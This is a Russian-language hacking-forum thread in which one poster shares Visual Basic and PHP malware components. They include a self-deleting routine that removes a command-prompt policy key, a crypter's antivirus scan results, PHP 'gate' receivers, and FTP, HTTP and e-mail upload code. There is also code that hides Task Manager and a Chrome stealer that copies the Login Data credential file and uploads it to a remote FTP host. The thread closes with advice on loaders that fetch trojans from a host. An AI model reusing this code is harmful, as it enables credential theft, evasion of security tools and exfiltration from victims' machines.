    'If you have any suggestion, comments please let me know by sending a mail to pgbsoft@gmail.com
     
    '==================================================================
    '=                                                                =
    '= PLEASE USE THIS CODE ONLY FOR A VIRTUOUS AND POSITIVE PERPOSE. =
    '=                                                                =
    '==================================================================
     
     
    'API Function used to Get the Short Path Name of a Long Path Name.
    Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" _
    (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
     
    'API Function used to check our user account type, User or Administrator.
    Private Declare Function IsUserAnAdmin Lib "shell32" () As Long
     
    'Registry location where Command Prompt Script Processing is authorized.
    Private Const D_CMD = "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD"
    Public Reg_Obj As Object
     
    Public Sub Kill_My_Pro()
     
     
    On Error Resume Next
     
    Set Reg_Obj = CreateObject("Wscript.Shell")
     
    Dim strExeFileSP, strCpyFileConfig As String
    Dim strCk_B_File As String
    Dim F_num As Long
     
    'Perform an initial check whether we will be able to proceed successfully,
    'If it is not success, which is almost impossible to happen,
    'it is useless of proceeding. So, we stop here.(This will only fail,
    'if you are in an limited user account or in an Admin account with UAC(User Account Control)
    'is enabled in Windows Vista, Windows 7 and your Command Prompt Script Processing is blocked.)
     
    If Check_To_Proceed_In_Non_Admin = False Then: Exit Sub
     
    On Error Resume Next
     
    'Getting the short name of the full path of our executable file.
    strExeFileSP = GetShortName(Format_App_Full_Path)
     
    'Getting the short name of the current user's Application Data directory and we add our bat file name to end of that.
    'This is where our bat file locates and executes.
    strCpyFileConfig = GetShortName(Environ("APPDATA")) & "\___Kill_MyPro.bat"
     
    'Checking the ___Kill_MyPro.bat file's Existence.
    strCk_B_File = Dir(strCpyFileConfig, vbHidden + vbSystem + vbArchive + vbReadOnly)
     
    'If the file exists, we kill the file before proceeding.
    If strCk_B_File <> "" Then: SetAttr strCpyFileConfig, vbNormal: Kill strCpyFileConfig
     
    F_num = FreeFile
     
    'Declare 4 element array to hold the contents of the bat file.
    Dim InString(3) As String
     
    'To hold dos commmands used
    Dim D_commands(1) As String
     
    'Store dos commands
    D_commands(0) = "ATTRIB"
    D_commands(1) = "DEL"
     
    'Store contents of the bat file.
    InString(0) = D_commands(0) & " - s - h - r " & strExeFileSP: InString(1) = D_commands(0) & " -s -h " & strCpyFileConfig
    InString(2) = D_commands(1) & " " & strExeFileSP: InString(3) = D_commands(1) & " " & strCpyFileConfig
     
    'Saving the contents to the bat file.
    Open strCpyFileConfig For Output As #F_num: For i = LBound(InString) To UBound(InString): Print #F_num, InString(i): Next: Close #F_num
     
    'Setting the file attribute to Supper Hidden so that no one can generally see the file.
    SetAttr strCpyFileConfig, vbHidden + vbSystem
     
    'Delete the Registry value, which may block the Command Prompt Script proccessing.
    If Check_CPSP_Value = 1 Then: Reg_Obj.RegDelete D_CMD
     
    'Execute the bat file which deletes our executable file and it itself.
    Shell strCpyFileConfig, vbHide
     
    'End the programme.
    End
    End Sub
     
    'Function to get the Short Path Name of a Long Path Name.
     
    Public Function GetShortName(ByVal sLongFileName As String) As String
    On Error Resume Next
    Dim lRetVal As Long, sShortPathName As String * 255, iLen As Integer
        iLen = Len(sShortPathName)
        lRetVal = GetShortPathName(sLongFileName, sShortPathName, iLen)
        GetShortName = Left(sShortPathName, lRetVal)
    End Function
     
    'With this function we check whether we have the permission to
    'edit the value which, Command Prompt Script Processing is controlled, if needed.
     
    Public Function Check_To_Proceed_In_Non_Admin() As Boolean
    On Error Resume Next
        Check_To_Proceed_In_Non_Admin = True
          If IsUserAnAdmin() = 0 And Check_CPSP_Value = 1 Then
              Check_To_Proceed_In_Non_Admin = False
          End If
    End Function
     
    'Checking the registry value which, Command Prompt Script Processing is authorized.
     
    Public Function Check_CPSP_Value() As Integer
    On Error Resume Next
    Dim intR_Val As Integer
    On Error Resume Next
    intR_Val = 0
    intR_Val = Reg_Obj.RegRead(D_CMD)
    Check_CPSP_Value = intR_Val
    End Function
     
    'By using this function we format our Executable file's full path properly.
     
    Public Function Format_App_Full_Path() As String
    On Error Resume Next
    If Right(App.Path, 1) = "\" Then
        Format_App_Full_Path = GetShortName(App.Path & App.EXEName & ".exe")
    Else
        Format_App_Full_Path = GetShortName(App.Path & "\" & App.EXEName & ".exe")
    End If
    End Function
    
    Please login or register to view links| iFUD.ws
     
    • Like Like x 1
  11. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Ещё один криптор:)

    Скан:
    Tipo de Reporte: File
    Nombre: Stub.exe
    Tamaño (bytes): 106572
    Fecha: 04.11.2013, 19:31
    MD5: a086b1d1a7ecae72fbcdac51e8bff460
    SHA1: edcb9f5fb550ace697e1a7fb3ad12fdb441f14fa
    URL: Please login or register to view links

    Detecciones: 9/22

    ArcaVir - Limpio!
    Avast - Limpio!
    AntiVir (Avira) - Is the TR/Dropper.Gen Trojan
    BitDefender - Trojan.Dropper.VB.1
    Clam Antivirus - Limpio!
    Dr.Web - Limpio!
    A-Squared - Trojan.Dropper.VB.1 (B)
    ESET NOD32 - Limpio!
    F-PROT Antivirus - [Found virus] &amp;lt;W32/VBTrojan.17!Generic&amp;gt;
    F-Secure - Packed:W32/Vbcrypt.N
    IKARUS - Limpio!
    Kaspersky Antivirus - Limpio!
    McAfee - Limpio!
    MS Security Essentials - VirTool:Win32/VBInject.gen!BA
    Norman - Limpio!
    Panda - Limpio!
    Quick Heal Antivirus - Limpio!
    Sophos - Mal/VB-ZQ
    Trend Micro - Limpio!
    VIPRE - VirTool.Win32.Vbinder.gen.g (v)
    VBA32 Antivirus - infected Malware-Cryptor.VB.gen.1
    VirusBuster - Limpio!




    Please login or register to view linksPlease login or register to view links| iFUD.ws
     
    • Like Like x 2
  12. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Отправка файла на Гейт

    автор - ?
    [​IMG]

    Php код гейта:
    Код:
    <?
        $myfile = $_FILES['myfile']['tmp_name'];
        $name = basename($_FILES['myfile']['name']);
     
        if (!file_exists($myfile))
        {
            echo "error";
        }
        else
        {
            move_uploaded_file($myfile, $name);
            echo "ok";
        }
    ?>
    Please login or register to view links| iFUD.ws
     
    • Like Like x 2
  13. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Отправка текста на Гейт

    [​IMG]

    Кидаем на форму 2textbox'a и commandbutton.
    Создаем форму, пишем туда апишки:
    Код:
    Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal sUrl As String, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
    Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
    Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
    Создаем CommandButton, пишем:
    Код:
    Private Sub Command1_Click()
    Dim hInternet As Long, hSession As Long
    Dim Abc As String
    Abc = Text1.Text
    hSession = InternetOpen("MyClient", 1, vbNullString, vbNullString, 0)
    hInternet = InternetOpenUrl(hSession, "http://site.hostei.com/gate/gate1.php?" + Text1.Text + ";" + Text2.Text, vbNullString, 0, &H4000000, 0)
    Call InternetCloseHandle(hInternet)
    End Sub
    Код гейта:
    Код:
    <?php
    $recieve = $_SERVER['QUERY_STRING'];
    $file = fopen("log.txt", "a+");
    fwrite($file, "$recieve\r\n");
    fclose($file);
    ?>
    Please login or register to view links| iFUD.ws
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 3
  14. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Отправка файла на FTP

    [​IMG]

    Создаем форму, на ней CommandButton.
    Код:
    Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal nAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal nFlags As Long) As Long
    Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal nService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
    Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
    Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
     
     
    Private Sub Command1_Click()
    hINetSession = InternetOpen("MyFTPClient", 0, vbNullString, vbNullString, 0)
    hSession = InternetConnect(hINetSession, "host", "21", "username", "Pass", 1, 0, 0)
    Exe = "file.exe" 'Имя вашего файла
    File = "C:\1\" + Exe  ' путь файла
    Call FtpPutFile(hSession, File, "/public_html/FTP/" + Exe, 1, 0)  'Папки public_html и FTP уже должны быть созданы
    Call InternetCloseHandle(hSession)
    Call InternetCloseHandle(hINetSession)
    End Sub
    Please login or register to view links| iFUD.ws


    ==========================================================


    Отправка сообщения + вложение на E-MAIL

    [​IMG]

    Дабл клики по commandbutton
    Код:
    Private Sub Command1_Click()
    Dim o_Mess As Object, v_Conf As String
    Set o_Mess = CreateObject("CDO.Message")
    v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
     
    With o_Mess
    .To = "to@mail.ru" 'e-mail, кому придут данные
    .From = "from@mail.ru" 'e-mail, от кого придут данные
    .Subject = "Subject" 'тема сообщения
    .TextBody = "Message here" 'текст сообщения
    .AddAttachment "C:\1\file.exe" 'добавляем вложение
    With .Configuration.Fields
    .Item(v_Conf & "sendusing") = 2
    .Item(v_Conf & "smtpserver") = "smtp.mail.ru" 'используем сервер
    .Item(v_Conf & "smtpauthenticate") = 1
    .Item(v_Conf & "sendusername") = "from@mail.ru" 'логин
    .Item(v_Conf & "sendpassword") = "password" 'пароль
    .Item(v_Conf & "smtpserverport") = 465 'порт, SSL использует 465, если без - 25
    .Item(v_Conf & "smtpusessl") = True 'если True, то используем SSL, False - нет
    .Item(v_Conf & "smtpconnectiontimeout") = 60
    .Update
    End With
    .send
    End With
    End Sub
    Please login or register to view links| iFUD.ws
     
    • Like Like x 1
  15. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Скрываем процессы в Диспетчере Задач
    автор модуля - ?
    [​IMG]

    Создаем форму, кидаем таймер, ставим интервал 20 млс.
    Код:
    Option Explicit
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWndParent As Long, ByVal hWndChildAfter As Long, ByVal lpClassName As String, ByVal lpWindowName As String) As Long
     
    Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Private Const SW_HIDE = 0
     
    Dim hParent As Long
     
    Private Function HideCtrl(gHwnd As Long)
        ShowWindow gHwnd, SW_HIDE
    End Function
     
    Private Function GetHandle(ctrlName As String, ctrlCaption As String) As Long
        GetHandle = FindWindowEx(hParent, 0, ctrlName, ctrlCaption)
    End Function
     
    Private Sub Timer1_Timer()
        hParent = FindWindow("#32770", "Диспетчер задач Windows") ' ищем родительское окно
        If hParent = 0 Then Exit Sub ' если не нашли - пропускаем всё остальное
     
     
        Call HideCtrl(GetHandle("SysTabControl32", vbNullString))
        Call HideCtrl(GetHandle("#32770", vbNullString))
        Call HideCtrl(GetHandle("msctls_statusbar32", vbNullString))
    End Sub
    Please login or register to view links| iFUD.ws
     
    • Like Like x 1
  16. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Google Chrome Stealer

    Неудача! Мой эпик фейл!
    Написал небольшой стиллер для хрома) (ворует файл Login Data)
    Качаем программу Please login or register to view links

    [​IMG]

    Весь код:
    Код:
    Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
    Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal nAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal nFlags As Long) As Long
    Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal nService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
    Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
    Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
    Private Declare Function SHGetFolderPath Lib "shfolder" Alias "SHGetFolderPathA" (ByVal hwndOwner As Long, ByVal nFolder As Long, ByVal hToken As Long, ByVal dwFlags As Long, ByVal pszPath As String) As Long
    Private Const CSIDL_LOCAL_APPDATA = &H1C&
     
    Private Sub Steal()
    Path = Environ("tmp") & "\"
    hINetSession = InternetOpen("MyFTPClient", 0, vbNullString, vbNullString, 0)
    hSession = InternetConnect(hINetSession, "host", "21", "uername", "pass", 1, 0, 0)
    File = Path + "Applelogin"
     
    Call FtpPutFile(hSession, File, "/public_html/FTP/Login Data", 1, 0) 'Папки public_html и FTP уже должны быть созданы
    Call InternetCloseHandle(hSession)
    Call InternetCloseHandle(hINetSession)
    End Sub
    Private Function SpecialFolder(pfe As Long) As String
        Const MAX_PATH = 260
        Dim strPath As String
        Dim strBuffer As String
     
        strBuffer = Space$(MAX_PATH)
        If SHGetFolderPath(0, pfe, 0, 0, strBuffer) = 0 Then strPath = Left$(strBuffer, InStr(strBuffer, vbNullChar) - 1)
        If Right$(strPath, 1) = "\" Then strPath = Left$(strPath, Len(strPath) - 1)
        SpecialFolder = strPath
    End Function
     
    Private Sub Form_Load()
    Path = Environ("tmp") & "\"
    File = SpecialFolder(CSIDL_LOCAL_APPDATA) & "\Google\Chrome\User Data\Default\Login Data"
    A = CopyFile(File, Path + "Applelogin", False)
    Call Steal
    Hide
    End Sub
    
    Please login or register to view links| iFUD.ws
     
    • Like Like x 3
  17. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Chrome Stealer
    Автор модуля- Danyfirex
    Написал стиллер, для хрома. Работает только на Windows xp
    Отправляет данные на гейт, отчёт выглядят так:
    Please login or register to view links
    Please login or register to view links
    Please login or register to view links

    Выкладываю сразу исходник

    Скрипт гейта:
    Код:
    <?
        $myfile = $_FILES['myfile']['tmp_name'];
        $name = basename($_FILES['myfile']['name']);
     
        if (!file_exists($myfile))
        {
            echo "error";
        }
        else
        {
            move_uploaded_file($myfile, $name);
            echo "ok";
        }
    ?>
    Please login or register to view links| iFUD.ws
     
    • Like Like x 2
  18. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Устанавливаем новую дату и время на компьютере.
    Код:
    Option Explicit
     
    Private Declare Function SetLocalTime Lib "kernel32.dll" _
                        (lpSystemTime As SystemTime) As Long
     
    Private Type SystemTime
        wYear As Integer
        wMonth As Integer
        wDayOfWeek As Integer
        wDay As Integer
        wHour As Integer
        wMinute As Integer
        wSecond As Integer
        wMilliseconds As Integer
    End Type
     
    Dim SetTime As SystemTime
    Dim RetVal As Long
     
     
    Private Sub SetNewTime _
        (NewHour As Integer, NewMinute As Integer, NewSecond As Integer)
    SetTime.wHour = NewHour
    SetTime.wMinute = NewMinute
    SetTime.wSecond = NewSecond
    SetTime.wMilliseconds = 0
    SetTime.wDay = Day(Date)
    'Чтобы установить и дату снимите коментарий
    'SetTime.wDay = 06
    SetTime.wMonth = Month(Date)
    'SetTime.wMonth = 8
    SetTime.wYear = Year(Date)
    'SetTime.wYear = 2006
    RetVal = SetLocalTime(SetTime)
    End Sub
     
    Private Sub Command1_Click()
    Call SetNewTime(19, 42, 11)
    End Sub

    =============================================================


    --- добавлено: 8 ноя 2013 в 23:32 ---
    Изменение атрибута файла

    [​IMG]

    Код:
    Option Explicit
     
    Private Sub Form_Load()
    Text1.OLEDropMode = 1
    End Sub
     
    Private Sub Command1_Click()
    Dim Path As String
    Path = Text1.Text
    SetAttr Path, vbReadOnly
    End Sub
     
    Private Sub Command2_Click()
    Dim Path As String
    Path = Text1.Text
    SetAttr Path, vbArchiv
    End Sub
     
    Private Sub Command3_Click()
    Dim Path As String
    Path = Text1.Text
    SetAttr Path, vbHidden
    End Sub
     
    Private Sub Command4_Click()
    Dim Path As String
    Path = Text1.Text
    SetAttr Path, GetAttr(Path) _
    And (Not vbHidden)
    End Sub
     
     
    Private Sub Command5_Click()
    Dim Path As String
    Path = Text1.Text
    SetAttr Path, GetAttr(Path) _
                                        And (Not vbReadOnly)
    End Sub
     
    Private Sub Command6_Click()
    Dim Path As String
    Path = Text1.Text
    SetAttr Path, GetAttr(Path) _
                                        And (Not vbArchive)
    End Sub
     
    Private Sub Command7_Click()
    End
    End Sub
     
    Private Sub text1_OLEDragDrop(data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim i1 As Integer
    On Error GoTo Err_Trap
    If data.GetFormat(vbCFFiles) = True Then
    i1 = data.Files.Count
    If i1 = 1 Then
    Text1.Text = data.Files(i1)
    End If
    End If
     
    Err_Trap:
    If Err <> 0 Then
    Debug.Assert Err = 0
    Err.Clear
    End If
    End Sub
    Please login or register to view links| iFUD.ws
     
    • Like Like x 2
  19. Destroy

    Destroy

    Регистрация:
    15 май 2012
    Сообщения:
    327
    Симпатии:
    97
    Хм, интересная штука... Сам исполняемый файл где должен находиться? или тут вместе с файлом компилировать нужно?
     
  20. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Исполняемый файл(стиллер/ратник/кейлогер) должен находиться на хосте, а лоадер нужно просто скомпилировать, указав ссылку на троян.
     
    • Like Like x 1

Поделиться этой страницей

Загрузка...